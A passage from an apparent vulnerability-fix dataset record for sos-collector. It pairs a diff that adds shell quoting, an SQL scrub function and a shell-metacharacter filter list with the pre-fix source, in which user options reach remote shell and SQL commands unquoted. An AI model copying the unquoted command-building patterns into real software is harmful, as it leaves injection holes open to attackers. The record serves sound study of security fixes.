'Do not collect from hypervisors')\n ]\n \n+ def _sql_scrub(self, val):\n+ '''\n+ Manually sanitize SQL queries since we can't leave this up to the\n+ driver since we do not have an actual DB connection\n+ '''\n+ if not val:\n+ return '%'\n+\n+ invalid_chars = ['\\x00', '\\\\', '\\n', '\\r', '\\032', '\"', '\\'']\n+ if any(x in invalid_chars for x in val):\n+ self.log_warn(\"WARNING: Cluster option \\'%s\\' contains invalid \"\n+ \"characters. Using '%%' instead.\" % val)\n+ return '%'\n+\n+ return val\n+\n def setup(self):\n self.pg_pass = False\n if not self.get_option('no-database'):\n@@ -38,13 +55,14 @@ def setup(self):\n self.format_db_cmd()\n \n def format_db_cmd(self):\n- cluster = self.get_option('cluster') or '%'\n- datacenter = self.get_option('datacenter') or '%'\n- self.dbcmd = '/usr/share/ovirt-engine/dbscripts/engine-psql.sh -c \\\"'\n- self.dbcmd += (\"select host_name from vds_static where cluster_id in \"\n- \"(select cluster_id from cluster where name like \\'%s\\'\"\n- \" and storage_pool_id in (select id from storage_pool \"\n- \"where name like \\'%s\\'))\\\"\" % (cluster, datacenter))\n+ cluster = self._sql_scrub(self.get_option('cluster'))\n+ datacenter = self._sql_scrub(self.get_option('datacenter'))\n+ query = (\"select host_name from vds_static where cluster_id in \"\n+ \"(select cluster_id from cluster where name like '%s'\"\n+ \" and storage_pool_id in (select id from storage_pool \"\n+ \"where name like '%s'))\" % (cluster, datacenter))\n+ self.dbcmd = ('/usr/share/ovirt-engine/dbscripts/engine-psql.sh '\n+ '-c {}'.format(quote(query)))\n self.log_debug('Query command for ovirt DB set to: %s' % self.dbcmd)\n \n def get_nodes(self):\ndiff --git a/soscollector/configuration.py b/soscollector/configuration.py\nindex ea33835..7f2c3c7 100644\n--- a/soscollector/configuration.py\n+++ b/soscollector/configuration.py\n@@ -138,7 +138,7 @@ def parse_cluster_options(self):\n try:\n # there are no instances currently where any cluster option\n # should contain a legitimate space.\n- value = pipes.quote(option.split('=')[1].split()[0])\n+ value = option.split('=')[1].split()[0]\n except IndexError:\n # conversion to boolean is handled during validation\n value = 'True'\ndiff --git a/soscollector/sos_collector.py b/soscollector/sos_collector.py\nindex 70a3dc8..7331f63 100644\n--- a/soscollector/sos_collector.py\n+++ b/soscollector/sos_collector.py\n@@ -32,6 +32,7 @@\n from .sosnode import SosNode\n from distutils.sysconfig import get_python_lib\n from getpass import getpass\n+from pipes import quote\n from six.moves import input\n from textwrap import fill\n from soscollector import __version__\n@@ -360,32 +361,34 @@ def intro(self):\n def configure_sos_cmd(self):\n '''Configures the sosreport command that is run on the nodes'''\n if self.config['sos_opt_line']:\n- filt = ['&', '|', '>', '<']\n+ filt = ['&', '|', '>', '<', ';']\n if any(f in self.config['sos_opt_line'] for f in filt):\n self.log_warn('Possible shell script found in provided sos '\n 'command. Ignoring --sos-cmd option entirely.')\n self.config['sos_opt_line'] = None\n else:\n self.config['sos_cmd'] = '%s %s' % (\n- self.config['sos_cmd'], self.config['sos_opt_line'])\n+ self.config['sos_cmd'], quote(self.config['sos_opt_line']))\n self.log_debug(\"User specified manual sosreport command. \"\n \"Command set to %s\" % self.config['sos_cmd'])\n return True\n if self.config['case_id']:\n- self.config['sos_cmd'] += ' --case-id=%s' % self.config['case_id']\n+ self.config['sos_cmd'] += ' --case-id=%s' % (\n+ quote(self.config['case_id']))\n if self.config['alloptions']:\n self.config['sos_cmd'] += ' --alloptions'\n if self.config['verify']:\n self.config['sos_cmd'] += ' --verify'\n if self.config['log_size']:\n self.config['sos_cmd'] += (' --log-size=%s'\n- % self.config['log_size'])\n+ % quote(self.config['log_size']))\n if self.config['sysroot']:\n- self.config['sos_cmd'] += ' -s %s' % self.config['sysroot']\n+ self.config['sos_cmd'] += ' -s %s' % quote(self.config['sysroot'])\n if self.config['chroot']:\n- self.config['sos_cmd'] += ' -c %s' % self.config['chroot']\n+ self.config['sos_cmd'] += ' -c %s' % quote(self.config['chroot'])\n if self.config['compression']:\n- self.config['sos_cmd'] += ' -z %s' % self.config['compression']\n+ self.config['sos_cmd'] += ' -z %s' % (\n+ quote(self.config['compression']))\n self.log_debug('Initial sos cmd set to %s' % self.config['sos_cmd'])\n \n def connect_to_master(self):\n@@ -408,7 +411,7 @@ def determine_cluster(self):\n can still be run if the user sets a --cluster-type manually\n '''\n checks = list(self.clusters.values())\n- for cluster in checks:\n+ for cluster in self.clusters.values():\n checks.remove(cluster)\n cluster.master = self.master\n if cluster.check_enabled():\ndiff --git a/soscollector/sosnode.py b/soscollector/sosnode.py\nindex fde1e6a..3790433 100644\n--- a/soscollector/sosnode.py\n+++ b/soscollector/sosnode.py\n@@ -26,6 +26,7 @@\n import time\n \n from distutils.version import LooseVersion\n+from pipes import quote\n from subprocess import Popen, PIPE\n \n \n@@ -450,7 +451,7 @@ def finalize_sos_cmd(self):\n \n label = self.determine_sos_label()\n if label:\n- self.sos_cmd = ' %s %s' % (self.sos_cmd, label)\n+ self.sos_cmd = ' %s %s' % (self.sos_cmd, quote(label))\n \n if self.config['sos_opt_line']:\n return True\n@@ -464,7 +465,7 @@ def finalize_sos_cmd(self):\n 'enabled but do not exist' % not_only)\n only = self._fmt_sos_opt_list(self.config['only_plugins'])\n if only:\n- self.sos_cmd += ' --only-plugins=%s' % only\n+ self.sos_cmd += ' --only-plugins=%s' % quote(only)\n return True\n \n if self.config['skip_plugins']:\n@@ -477,7 +478,7 @@ def finalize_sos_cmd(self):\n 'already not enabled' % not_skip)\n skipln = self._fmt_sos_opt_list(skip)\n if skipln:\n- self.sos_cmd += ' --skip-plugins=%s' % skipln\n+ self.sos_cmd += ' --skip-plugins=%s' % quote(skipln)\n \n if self.config['enable_plugins']:\n # only run enable for plugins that are disabled\n@@ -490,18 +491,18 @@ def finalize_sos_cmd(self):\n 'are already enabled or do not exist' % not_on)\n enable = self._fmt_sos_opt_list(opts)\n if enable:\n- self.sos_cmd += ' --enable-plugins=%s' % enable\n+ self.sos_cmd += ' --enable-plugins=%s' % quote(enable)\n \n if self.config['plugin_options']:\n opts = [o for o in self.config['plugin_options']\n if self._plugin_exists(o.split('.')[0])\n and self._plugin_option_exists(o.split('=')[0])]\n if opts:\n- self.sos_cmd += ' -k %s' % ','.join(o for o in opts)\n+ self.sos_cmd += ' -k %s' % quote(','.join(o for o in opts))\n \n if self.config['preset']:\n if self._preset_exists(self.config['preset']):\n- self.sos_cmd += ' --preset=%s' % self.config['preset']\n+ self.sos_cmd += ' --preset=%s' % quote(self.config['preset'])\n else:\n self.log_debug('Requested to enable preset %s but preset does '\n 'not exist on node' % self.config['preset'])\n", "files": {"/soscollector/clusters/kubernetes.py": {"changes": [{"diff": "\n def get_nodes(self):\n self.cmd += ' get nodes'\n if self.get_option('label'):\n- self.cmd += ' -l %s ' % self.get_option('label')\n+ self.cmd += ' -l %s ' % quote(self.get_option('label'))\n res = self.exec_master_cmd(self.cmd)\n if res['status'] == 0:\n nodes = []", "add": 1, "remove": 1, "filename": "/soscollector/clusters/kubernetes.py", "badparts": [" self.cmd += ' -l %s ' % self.get_option('label')"], "goodparts": [" self.cmd += ' -l %s ' % quote(self.get_option('label'))"]}], "source": "\n from soscollector.clusters import Cluster class kubernetes(Cluster): packages=('kubernetes-master',) sos_plugins=['kubernetes'] sos_plugin_options={'kubernetes.all': 'on'} cmd='kubectl' option_list=[ ('label', '', 'Filter node list to those with matching label'), ('role', '', 'Filter node list to those with matching role') ] def get_nodes(self): self.cmd +=' get nodes' if self.get_option('label'): self.cmd +=' -l %s ' % self.get_option('label') res=self.exec_master_cmd(self.cmd) if res['status']==0: nodes=[] roles=[x for x in self.get_option('role').split(',') if x] for nodeln in res['stdout'].splitlines()[1:]: node=nodeln.split() if not roles: nodes.append(node[0]) else: if node[2] in roles: nodes.append(node[0]) return nodes else: raise Exception('Node enumeration did not return usable output') class openshift(kubernetes): packages=('atomic-openshift',) sos_preset='ocp' cmd='oc' ", "sourceWithComments": "# Copyright Red Hat 2017, Jake Hunsaker \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nfrom soscollector.clusters import Cluster\n\n\nclass kubernetes(Cluster):\n\n packages = ('kubernetes-master',)\n sos_plugins = ['kubernetes']\n sos_plugin_options = {'kubernetes.all': 'on'}\n\n cmd = 'kubectl'\n\n option_list = [\n ('label', '', 'Filter node list to those with matching label'),\n ('role', '', 'Filter node list to those with matching role')\n ]\n\n def get_nodes(self):\n self.cmd += ' get nodes'\n if self.get_option('label'):\n self.cmd += ' -l %s ' % self.get_option('label')\n res = self.exec_master_cmd(self.cmd)\n if res['status'] == 0:\n nodes = []\n roles = [x for x in self.get_option('role').split(',') if x]\n for nodeln in res['stdout'].splitlines()[1:]:\n node = nodeln.split()\n if not roles:\n nodes.append(node[0])\n else:\n if node[2] in roles:\n nodes.append(node[0])\n return nodes\n else:\n raise Exception('Node enumeration did not return usable output')\n\n\nclass openshift(kubernetes):\n\n packages = ('atomic-openshift',)\n sos_preset = 'ocp'\n cmd = 'oc'\n"}, "/soscollector/clusters/ovirt.py": {"changes": [{"diff": "\n self.format_db_cmd()\n \n def format_db_cmd(self):\n- cluster = self.get_option('cluster') or '%'\n- datacenter = self.get_option('datacenter') or '%'\n- self.dbcmd = '/usr/share/ovirt-engine/dbscripts/engine-psql.sh -c \\\"'\n- self.dbcmd += (\"select host_name from vds_static where cluster_id in \"\n- \"(select cluster_id from cluster where name like \\'%s\\'\"\n- \" and storage_pool_id in (select id from storage_pool \"\n- \"where name like \\'%s\\'))\\\"\" % (cluster, datacenter))\n+ cluster = self._sql_scrub(self.get_option('cluster'))\n+ datacenter = self._sql_scrub(self.get_option('datacenter'))\n+ query = (\"select host_name from vds_static where cluster_id in \"\n+ \"(select cluster_id from cluster where name like '%s'\"\n+ \" and storage_pool_id in (select id from storage_pool \"\n+ \"where name like '%s'))\" % (cluster, datacenter))\n+ self.dbcmd = ('/usr/share/ovirt-engine/dbscripts/engine-psql.sh '\n+ '-c {}'.format(quote(query)))\n self.log_debug('Query command for ovirt DB set to: %s' % self.dbcmd)\n \n def get_nodes(self)", "add": 8, "remove": 7, "filename": "/soscollector/clusters/ovirt.py", "badparts": [" cluster = self.get_option('cluster') or '%'", " datacenter = self.get_option('datacenter') or '%'", " self.dbcmd = '/usr/share/ovirt-engine/dbscripts/engine-psql.sh -c \\\"'", " self.dbcmd += (\"select host_name from vds_static where cluster_id in \"", " \"(select cluster_id from cluster where name like \\'%s\\'\"", " \" and storage_pool_id in (select id from storage_pool \"", " \"where name like \\'%s\\'))\\\"\" % (cluster, datacenter))"], "goodparts": [" cluster = self._sql_scrub(self.get_option('cluster'))", " datacenter = self._sql_scrub(self.get_option('datacenter'))", " query = (\"select host_name from vds_static where cluster_id in \"", " \"(select cluster_id from cluster where name like '%s'\"", " \" and storage_pool_id in (select id from storage_pool \"", " \"where name like '%s'))\" % (cluster, datacenter))", " self.dbcmd = ('/usr/share/ovirt-engine/dbscripts/engine-psql.sh '", " '-c {}'.format(quote(query)))"]}], "source": "\n import os import fnmatch from soscollector.clusters import Cluster from getpass import getpass class ovirt(Cluster): packages=('ovirt-engine',) option_list=[ ('no-database', False, 'Do not collect a database dump'), ('cluster', '', 'Only collect from hosts in this cluster'), ('datacenter', '', 'Only collect from hosts in this datacenter'), ('no-hypervisors', False, 'Do not collect from hypervisors') ] def setup(self): self.pg_pass=False if not self.get_option('no-database'): self.conf=self.parse_db_conf() self.format_db_cmd() def format_db_cmd(self): cluster=self.get_option('cluster') or '%' datacenter=self.get_option('datacenter') or '%' self.dbcmd='/usr/share/ovirt-engine/dbscripts/engine-psql.sh -c \\\"' self.dbcmd +=(\"select host_name from vds_static where cluster_id in \" \"(select cluster_id from cluster where name like \\'%s\\'\" \" and storage_pool_id in(select id from storage_pool \" \"where name like \\'%s\\'))\\\"\" %(cluster, datacenter)) self.log_debug('Query command for ovirt DB set to: %s' % self.dbcmd) def get_nodes(self): if self.get_option('no-hypervisors'): return[] res=self.exec_master_cmd(self.dbcmd, need_root=True) if res['status']==0: nodes=res['stdout'].splitlines()[2:-1] return[n.split('(')[0].strip() for n in nodes] else: raise Exception('database query failed, return code: %s' % res['status']) def run_extra_cmd(self): if not self.get_option('no-database') and self.conf: return self.collect_database() return False def parse_db_conf(self): conf={} engconf='/etc/ovirt-engine/engine.conf.d/10-setup-database.conf' res=self.exec_master_cmd('cat %s' % engconf, need_root=True) if res['status']==0: config=res['stdout'].splitlines() for line in config: try: k=str(line.split('=')[0]) v=str(line.split('=')[1].replace('\"', '')) conf[k]=v except IndexError: pass return conf return False def collect_database(self): sos_opt=( '-k{plugin}.dbname={db} ' '-k{plugin}.dbhost={dbhost} ' '-k{plugin}.dbport={dbport} ' '-k{plugin}.username={dbuser} ' ).format(plugin='postgresql', db=self.conf['ENGINE_DB_DATABASE'], dbhost=self.conf['ENGINE_DB_HOST'], dbport=self.conf['ENGINE_DB_PORT'], dbuser=self.conf['ENGINE_DB_USER'] ) cmd=('PGPASSWORD={} /usr/sbin/sosreport --name=postgresql ' '--batch -o postgresql{}' ).format(self.conf['ENGINE_DB_PASSWORD'], sos_opt) db_sos=self.exec_master_cmd(cmd, need_root=True) for line in db_sos['stdout'].splitlines(): if fnmatch.fnmatch(line, '*sosreport-*tar*'): return line.strip() self.log_error('Failed to gather database dump') return False class rhv(ovirt): packages=('rhevm', 'rhvm') sos_preset='rhv' def set_node_label(self, node): if node.address==self.master.address: return 'manager' if node.is_installed('ovirt-node-ng-nodectl'): return 'rhvh' else: return 'rhelh' ", "sourceWithComments": "# Copyright Red Hat 2017, Jake Hunsaker \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nimport os\nimport fnmatch\n\nfrom soscollector.clusters import Cluster\nfrom getpass import getpass\n\n\nclass ovirt(Cluster):\n\n packages = ('ovirt-engine',)\n\n option_list = [\n ('no-database', False, 'Do not collect a database dump'),\n ('cluster', '', 'Only collect from hosts in this cluster'),\n ('datacenter', '', 'Only collect from hosts in this datacenter'),\n ('no-hypervisors', False, 'Do not collect from hypervisors')\n ]\n\n def setup(self):\n self.pg_pass = False\n if not self.get_option('no-database'):\n self.conf = self.parse_db_conf()\n self.format_db_cmd()\n\n def format_db_cmd(self):\n cluster = self.get_option('cluster') or '%'\n datacenter = self.get_option('datacenter') or '%'\n self.dbcmd = '/usr/share/ovirt-engine/dbscripts/engine-psql.sh -c \\\"'\n self.dbcmd += (\"select host_name from vds_static where cluster_id in \"\n \"(select cluster_id from cluster where name like \\'%s\\'\"\n \" and storage_pool_id in (select id from storage_pool \"\n \"where name like \\'%s\\'))\\\"\" % (cluster, datacenter))\n self.log_debug('Query command for ovirt DB set to: %s' % self.dbcmd)\n\n def get_nodes(self):\n if self.get_option('no-hypervisors'):\n return []\n res = self.exec_master_cmd(self.dbcmd, need_root=True)\n if res['status'] == 0:\n nodes = res['stdout'].splitlines()[2:-1]\n return [n.split('(')[0].strip() for n in nodes]\n else:\n raise Exception('database query failed, return code: %s'\n % res['status'])\n\n def run_extra_cmd(self):\n if not self.get_option('no-database') and self.conf:\n return self.collect_database()\n return False\n\n def parse_db_conf(self):\n conf = {}\n engconf = '/etc/ovirt-engine/engine.conf.d/10-setup-database.conf'\n res = self.exec_master_cmd('cat %s' % engconf, need_root=True)\n if res['status'] == 0:\n config = res['stdout'].splitlines()\n for line in config:\n try:\n k = str(line.split('=')[0])\n v = str(line.split('=')[1].replace('\"', ''))\n conf[k] = v\n except IndexError:\n pass\n return conf\n return False\n\n def collect_database(self):\n sos_opt = (\n '-k {plugin}.dbname={db} '\n '-k {plugin}.dbhost={dbhost} '\n '-k {plugin}.dbport={dbport} '\n '-k {plugin}.username={dbuser} '\n ).format(plugin='postgresql',\n db=self.conf['ENGINE_DB_DATABASE'],\n dbhost=self.conf['ENGINE_DB_HOST'],\n dbport=self.conf['ENGINE_DB_PORT'],\n dbuser=self.conf['ENGINE_DB_USER']\n )\n cmd = ('PGPASSWORD={} /usr/sbin/sosreport --name=postgresql '\n '--batch -o postgresql {}'\n ).format(self.conf['ENGINE_DB_PASSWORD'], sos_opt)\n db_sos = self.exec_master_cmd(cmd, need_root=True)\n for line in db_sos['stdout'].splitlines():\n if fnmatch.fnmatch(line, '*sosreport-*tar*'):\n return line.strip()\n self.log_error('Failed to gather database dump')\n return False\n\n\nclass rhv(ovirt):\n\n packages = ('rhevm', 'rhvm')\n sos_preset = 'rhv'\n\n def set_node_label(self, node):\n if node.address == self.master.address:\n return 'manager'\n if node.is_installed('ovirt-node-ng-nodectl'):\n return 'rhvh'\n else:\n return 'rhelh'\n"}, "/soscollector/configuration.py": {"changes": [{"diff": "\n try:\n # there are no instances currently where any cluster option\n # should contain a legitimate space.\n- value = pipes.quote(option.split('=')[1].split()[0])\n+ value = option.split('=')[1].split()[0]\n except IndexError:\n # conversion to boolean is handled during validation\n value = 'Tru", "add": 1, "remove": 1, "filename": "/soscollector/configuration.py", "badparts": [" value = pipes.quote(option.split('=')[1].split()[0])"], "goodparts": [" value = option.split('=')[1].split()[0]"]}], "source": "\n import inspect import os import pipes import re import six import socket import sys class Configuration(dict): \"\"\" Dict subclass that is used to handle configuration information needed by both SosCollector and the SosNode classes \"\"\" def __init__(self, args=None): self.args=args self.set_defaults() self.parse_config() self.parse_options() self.check_user_privs() self.parse_node_strings() self['host_types']=self._load_supported_hosts() self['cluster_types']=self._load_clusters() def set_defaults(self): self['sos_mod']={} self['master']='' self['strip_sos_path']='' self['ssh_port']=22 self['ssh_user']='root' self['sos_cmd']='sosreport --batch' self['no_local']=False self['tmp_dir']=None self['out_dir']='/var/tmp/' self['nodes']=None self['debug']=False self['tmp_dir_created']=False self['cluster_type']=None self['cluster']=None self['password']=False self['label']=None self['case_id']=None self['timeout']=300 self['all_logs']=False self['alloptions']=False self['no_pkg_check']=False self['hostname']=socket.gethostname() ips=[i[4][0] for i in socket.getaddrinfo(socket.gethostname(), None)] self['ip_addrs']=list(set(ips)) self['cluster_options']=[] self['image']=None self['skip_plugins']=[] self['enable_plugins']=[] self['plugin_options']=[] self['only_plugins']=[] self['list_options']=False self['hostlen']=len(self['master']) or len(self['hostname']) self['need_sudo']=False self['sudo_pw']='' self['become_root']=False self['root_password']='' self['threads']=4 self['compression']='' self['verify']=False self['chroot']='' self['sysroot']='' self['sos_opt_line']='' self['batch']=False self['verbose']=False self['preset']='' self['insecure_sudo']=False self['log_size']=0 self['host_types']=[] def parse_node_strings(self): ''' Parses the given --nodes option(s) to properly format the regex list that we use. We cannot blindly split on ',' chars since it is a valid regex character, so we need to scan along the given strings and check at each comma if we should use the preceeding string by itself or not, based on if there is a valid regex at that index. ''' if not self['nodes']: return nodes=[] if not isinstance(self['nodes'], list): self['nodes']=[self['nodes']] for node in self['nodes']: idxs=[i for i, m in enumerate(node) if m==','] idxs.append(len(node)) start=0 pos=0 for idx in idxs: try: pos=idx reg=node[start:idx] re.compile(re.escape(reg)) if '[' in reg and ']' not in reg: continue nodes.append(reg.lstrip(',')) start=idx except re.error: continue if pos !=len(node): nodes.append(node[pos+1:]) self['nodes']=nodes def parse_config(self): for k in self.args: if self.args[k]: self[k]=self.args[k] if self['sos_opt_line']: self['sos_opt_line']=pipes.quote(self['sos_opt_line']) def parse_cluster_options(self): opts=[] if not isinstance(self['cluster_options'], list): self['cluster_options']=[self['cluster_options']] if self['cluster_options']: for option in self['cluster_options']: cluster=option.split('.')[0] name=option.split('.')[1].split('=')[0] try: value=pipes.quote(option.split('=')[1].split()[0]) except IndexError: value='True' opts.append( ClusterOption(name, value, value.__class__, cluster) ) self['cluster_options']=opts def parse_options(self): self.parse_cluster_options() for opt in['skip_plugins', 'enable_plugins', 'plugin_options', 'only_plugins']: if self[opt]: opts=[] if isinstance(self[opt], six.string_types): self[opt]=[self[opt]] for option in self[opt]: opts +=option.split(',') self[opt]=opts def check_user_privs(self): if not self['ssh_user']=='root': self['need_sudo']=True def _import_modules(self, modname): '''Import and return all found classes in a module''' mod_short_name=modname.split('.')[2] module=__import__(modname, globals(), locals(),[mod_short_name]) modules=inspect.getmembers(module, inspect.isclass) for mod in modules: if mod[0] in('SosHost', 'Cluster'): modules.remove(mod) return modules def _find_modules_in_path(self, path, modulename): '''Given a path and a module name, find everything that can be imported and then import it path -the filesystem path of the package modulename -the name of the module in the package E.G. a path of 'clusters', and a modulename of 'ovirt' equates to importing soscollector.clusters.ovirt ''' modules=[] if os.path.exists(path): for pyfile in sorted(os.listdir(path)): if not pyfile.endswith('.py'): continue if '__' in pyfile: continue fname, ext=os.path.splitext(pyfile) modname='soscollector.%s.%s' %(modulename, fname) modules.extend(self._import_modules(modname)) return modules def _load_modules(self, package, submod): '''Helper to import cluster and host types''' modules=[] for path in package.__path__: if os.path.isdir(path): modules.extend(self._find_modules_in_path(path, submod)) return modules def _load_clusters(self): '''Load an instance of each cluster so that sos-collector can later determine what type of cluster is in use ''' import soscollector.clusters package=soscollector.clusters supported_clusters={} clusters=self._load_modules(package, 'clusters') for cluster in clusters: supported_clusters[cluster[0]]=cluster[1](self) return supported_clusters def _load_supported_hosts(self): '''Load all the supported/defined host types for sos-collector. These will then be used to match against each node we run on ''' import soscollector.hosts package=soscollector.hosts supported_hosts={} hosts=self._load_modules(package, 'hosts') for host in hosts: supported_hosts[host[0]]=host[1] return supported_hosts class ClusterOption(): '''Used to store/manipulate options for cluster profiles.''' def __init__(self, name, value, opt_type, cluster, description=None): self.name=name self.value=value self.opt_type=opt_type self.cluster=cluster self.description=description ", "sourceWithComments": "# Copyright Red Hat 2017, Jake Hunsaker \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nimport inspect\nimport os\nimport pipes\nimport re\nimport six\nimport socket\nimport sys\n\n\nclass Configuration(dict):\n \"\"\" Dict subclass that is used to handle configuration information\n needed by both SosCollector and the SosNode classes \"\"\"\n\n def __init__(self, args=None):\n self.args = args\n self.set_defaults()\n self.parse_config()\n self.parse_options()\n self.check_user_privs()\n self.parse_node_strings()\n self['host_types'] = self._load_supported_hosts()\n self['cluster_types'] = self._load_clusters()\n\n def set_defaults(self):\n self['sos_mod'] = {}\n self['master'] = ''\n self['strip_sos_path'] = ''\n self['ssh_port'] = 22\n self['ssh_user'] = 'root'\n self['sos_cmd'] = 'sosreport --batch'\n self['no_local'] = False\n self['tmp_dir'] = None\n self['out_dir'] = '/var/tmp/'\n self['nodes'] = None\n self['debug'] = False\n self['tmp_dir_created'] = False\n self['cluster_type'] = None\n self['cluster'] = None\n self['password'] = False\n self['label'] = None\n self['case_id'] = None\n self['timeout'] = 300\n self['all_logs'] = False\n self['alloptions'] = False\n self['no_pkg_check'] = False\n self['hostname'] = socket.gethostname()\n ips = [i[4][0] for i in socket.getaddrinfo(socket.gethostname(), None)]\n self['ip_addrs'] = list(set(ips))\n self['cluster_options'] = []\n self['image'] = None\n self['skip_plugins'] = []\n self['enable_plugins'] = []\n self['plugin_options'] = []\n self['only_plugins'] = []\n self['list_options'] = False\n self['hostlen'] = len(self['master']) or len(self['hostname'])\n self['need_sudo'] = False\n self['sudo_pw'] = ''\n self['become_root'] = False\n self['root_password'] = ''\n self['threads'] = 4\n self['compression'] = ''\n self['verify'] = False\n self['chroot'] = ''\n self['sysroot'] = ''\n self['sos_opt_line'] = ''\n self['batch'] = False\n self['verbose'] = False\n self['preset'] = ''\n self['insecure_sudo'] = False\n self['log_size'] = 0\n self['host_types'] = []\n\n def parse_node_strings(self):\n '''\n Parses the given --nodes option(s) to properly format the regex\n list that we use. We cannot blindly split on ',' chars since it is a\n valid regex character, so we need to scan along the given strings and\n check at each comma if we should use the preceeding string by itself\n or not, based on if there is a valid regex at that index.\n '''\n if not self['nodes']:\n return\n nodes = []\n if not isinstance(self['nodes'], list):\n self['nodes'] = [self['nodes']]\n for node in self['nodes']:\n idxs = [i for i, m in enumerate(node) if m == ',']\n idxs.append(len(node))\n start = 0\n pos = 0\n for idx in idxs:\n try:\n pos = idx\n reg = node[start:idx]\n re.compile(re.escape(reg))\n # make sure we aren't splitting a regex value\n if '[' in reg and ']' not in reg:\n continue\n nodes.append(reg.lstrip(','))\n start = idx\n except re.error:\n continue\n if pos != len(node):\n nodes.append(node[pos+1:])\n self['nodes'] = nodes\n\n def parse_config(self):\n for k in self.args:\n if self.args[k]:\n self[k] = self.args[k]\n if self['sos_opt_line']:\n self['sos_opt_line'] = pipes.quote(self['sos_opt_line'])\n\n def parse_cluster_options(self):\n opts = []\n if not isinstance(self['cluster_options'], list):\n self['cluster_options'] = [self['cluster_options']]\n if self['cluster_options']:\n for option in self['cluster_options']:\n cluster = option.split('.')[0]\n name = option.split('.')[1].split('=')[0]\n try:\n # there are no instances currently where any cluster option\n # should contain a legitimate space.\n value = pipes.quote(option.split('=')[1].split()[0])\n except IndexError:\n # conversion to boolean is handled during validation\n value = 'True'\n\n opts.append(\n ClusterOption(name, value, value.__class__, cluster)\n )\n self['cluster_options'] = opts\n\n def parse_options(self):\n self.parse_cluster_options()\n for opt in ['skip_plugins', 'enable_plugins', 'plugin_options',\n 'only_plugins']:\n if self[opt]:\n opts = []\n if isinstance(self[opt], six.string_types):\n self[opt] = [self[opt]]\n for option in self[opt]:\n opts += option.split(',')\n self[opt] = opts\n\n def check_user_privs(self):\n if not self['ssh_user'] == 'root':\n self['need_sudo'] = True\n\n def _import_modules(self, modname):\n '''Import and return all found classes in a module'''\n mod_short_name = modname.split('.')[2]\n module = __import__(modname, globals(), locals(), [mod_short_name])\n modules = inspect.getmembers(module, inspect.isclass)\n for mod in modules:\n if mod[0] in ('SosHost', 'Cluster'):\n modules.remove(mod)\n return modules\n\n def _find_modules_in_path(self, path, modulename):\n '''Given a path and a module name, find everything that can be imported\n and then import it\n\n path - the filesystem path of the package\n modulename - the name of the module in the package\n\n E.G. a path of 'clusters', and a modulename of 'ovirt' equates to\n importing soscollector.clusters.ovirt\n '''\n modules = []\n if os.path.exists(path):\n for pyfile in sorted(os.listdir(path)):\n if not pyfile.endswith('.py'):\n continue\n if '__' in pyfile:\n continue\n fname, ext = os.path.splitext(pyfile)\n modname = 'soscollector.%s.%s' % (modulename, fname)\n modules.extend(self._import_modules(modname))\n return modules\n\n def _load_modules(self, package, submod):\n '''Helper to import cluster and host types'''\n modules = []\n for path in package.__path__:\n if os.path.isdir(path):\n modules.extend(self._find_modules_in_path(path, submod))\n return modules\n\n def _load_clusters(self):\n '''Load an instance of each cluster so that sos-collector can later\n determine what type of cluster is in use\n '''\n import soscollector.clusters\n package = soscollector.clusters\n supported_clusters = {}\n clusters = self._load_modules(package, 'clusters')\n for cluster in clusters:\n supported_clusters[cluster[0]] = cluster[1](self)\n return supported_clusters\n\n def _load_supported_hosts(self):\n '''Load all the supported/defined host types for sos-collector.\n These will then be used to match against each node we run on\n '''\n import soscollector.hosts\n package = soscollector.hosts\n supported_hosts = {}\n hosts = self._load_modules(package, 'hosts')\n for host in hosts:\n supported_hosts[host[0]] = host[1]\n return supported_hosts\n\n\nclass ClusterOption():\n '''Used to store/manipulate options for cluster profiles.'''\n\n def __init__(self, name, value, opt_type, cluster, description=None):\n self.name = name\n self.value = value\n self.opt_type = opt_type\n self.cluster = cluster\n self.description = description\n"}, "/soscollector/sos_collector.py": {"changes": [{"diff": "\n def configure_sos_cmd(self):\n '''Configures the sosreport command that is run on the nodes'''\n if self.config['sos_opt_line']:\n- filt = ['&', '|', '>', '<']\n+ filt = ['&', '|', '>', '<', ';']\n if any(f in self.config['sos_opt_line'] for f in filt):\n self.log_warn('Possible shell script found in provided sos '\n 'command. Ignoring --sos-cmd option entirely.')\n self.config['sos_opt_line'] = None\n else:\n self.config['sos_cmd'] = '%s %s' % (\n- self.config['sos_cmd'], self.config['sos_opt_line'])\n+ self.config['sos_cmd'], quote(self.config['sos_opt_line']))\n self.log_debug(\"User specified manual sosreport command. \"\n \"Command set to %s\" % self.config['sos_cmd'])\n return True\n if self.config['case_id']:\n- self.config['sos_cmd'] += ' --case-id=%s' % self.config['case_id']\n+ self.config['sos_cmd'] += ' --case-id=%s' % (\n+ quote(self.config['case_id']))\n if self.config['alloptions']:\n self.config['sos_cmd'] += ' --alloptions'\n if self.config['verify']:\n self.config['sos_cmd'] += ' --verify'\n if self.config['log_size']:\n self.config['sos_cmd'] += (' --log-size=%s'\n- % self.config['log_size'])\n+ % quote(self.config['log_size']))\n if self.config['sysroot']:\n- 